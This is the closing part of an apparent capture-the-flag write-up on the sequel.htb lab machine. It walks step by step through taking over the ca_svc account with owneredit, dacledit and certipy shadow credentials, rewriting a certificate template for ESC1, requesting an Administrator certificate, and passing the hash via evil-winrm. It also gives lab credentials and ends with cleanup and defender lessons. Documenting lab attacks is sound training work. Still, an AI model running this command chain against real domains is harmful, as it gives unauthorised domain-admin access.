certipy shadow auto -username 'ryan@sequel.htb' -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'

certipy shadow creds ca_svc

With the NT hash, we can impersonate ca_svc without creating a reverse shell or using RunAs. Next, we will act as ca_svc, using certipy to modify an existing template to make it vulnerable:

# Create the ESC1-vulnerable template
certipy template -username 'ca_svc@sequel.htb' -hashes [paste_BT_hash] -template DunderMifflinAuthentication -save-old

certipy 2

This should have made DunderMifflinAuthentication vulnerable to ESC1 👍

Request the certificate

We can use certipy again to request enrolment using the vulnerable certificate template. Following the plan for ESC1, we’ll specify our own SAN using the -upn argument:

👇 In case you’re wondering, I obtained the CA name by running .\Certify.exe cas as ryan and reading the Enterprise CA Name field under the section Enterprise/Enrollment CAs. In this case, it’s sequel-DC01-CA

-target is the target domain. In this case, sequel.htb

certipy req -username 'ca_svc@sequel.htb' -hashes [paste_NT_hash] -ca sequel-DC01-CA -target sequel.htb -template DunderMifflinAuthentication -upn Administrator@sequel.htb
#  This should yield us a .pfx file

certipy 1

Fine then, I’ll specify the DNS:

certipy req -username 'ca_svc@sequel.htb' -hashes [paste_NT_hash] -ca sequel-DC01-CA -target sequel.htb -template DunderMifflinAuthentication -upn Administrator@sequel.htb -dns $RADDR

👀 ​Huh? I’m still getting the same issue. What’s going on?

⚠️ ⚠️ ⚠️ The cleanup scripts on this box are very aggressive.

You might be saying “No they’re not; it takes a few minutes to reset the owner and dacl things” - and you’d be right!

…But it seems there is another, much faster, scheduled process that resets the certificate templates 😱

To get past it, minimize the amount of time between the certipy template and certipy req calls.

# Make ryan the owner of ca_svc
owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# Give ryan FullControl over ca_svc
dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# Utilize FullControl to get the hash for ca_svc
certipy shadow auto -username 'ryan@sequel.htb' -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'
# Impersonate ca_svc by using their hash for the next two commands
NTHASH=[paste_NT_hash]
# Modify the template so that it becomes vulnerable to ESC1
certipy template -username 'ca_svc@sequel.htb' -hashes $NTHASH -template DunderMifflinAuthentication -save-old
# Request enrolment using the vulnerable cert template, specifying 'administrator' as the upn
certipy req -username 'ca_svc@sequel.htb' -hashes $NTHASH -ca sequel-DC01-CA -target sequel.htb -template DunderMifflinAuthentication -upn Administrator@sequel.htb -dns $RADDR

😍 Finally, after performing all the above steps in rapid succession, it worked:

certipy 3

Authenticate with the certificate

certipy auth -pfx administrator.pfx

certipy 4

Restore the old certificate template

If we left the box in its current state, it’d spoil a few steps for other CTF players following in our footsteps. It’s best to restore the certificate we abused:

certipy template -username ca_svc -hashes $NTHASH -template DunderMifflinAuthentication -configuration DunderMifflinAuthentication.json

🏁 Pass the administrator hash

We got the NT hash of the administrator account, so let’s use it to authenticate over WinRM:

evil-winrm -i sequel.htb -u administrator -H '7a8d4e0498...e5a0b3ff'

administrator login

And there’s the root flag. Read it to finish off the box:

type root.txt

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

cd C:\Users\ryan\Downloads
del *

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot/*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 📖 Read the instructions. I got pretty far into this box without realizing that they had given us credentials for one of the users. As it turns out, sometimes there are extra instructions on the box’s HTB page.
  • 📄 Go ahead, it’s just XML. We encountered a couple malformed xlsx documents on this box. Thankfully, we got past it by realizing that it’s just XML, and we can still just read it visually even if the file is corrupt.
  • 💦 Credential spraying is really easy and worth the time. When you’re against a Windows target, don’t be afraid to pop a list of usernames or passwords into crackmapexec - you don’t even need to do any scripting.​
  • 🔧 Use good tools. While doing this box, I took the plunge to update/upgrade several of my Active Directory tools - and I am very thankful that I did. The time I spent updating these tools and trying out the “latest and greatest” was definitely well spent. With Bloodhound-CE and Rusthound, I will be a lot more confident attacking AD in the future!
  • 🕐 Write a script when you exploit. I wasted so much time on this box even once I knew the full plan for finishing it, simply because I was fighting the cleanup scripts. If I had just written out my steps into a bash script, I would have been done a couple hours earlier.
two crossed swords

Defender

  • 🖥️ Never expose a database to the internet, even if it’s password protected. This is extra important if, for some baffling reason, you’ve found it necessary to keep xp_cmdshell available…

  • 💊 Use an antivirus. I was able to transfer several overtly malicious exe files onto the target. Even if you’re going to apply the bare minimum of protection, make sure it’s turned on.

  • 🐣 Obey least-privilege when making group policies. Privesc on this box could have been prevented if (1) ryan didnt have WriteOwner over ca_svc and (2) if ca_svc wasn’t able to modify templates - why would a service account need the ability to modify templates, anyway?


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake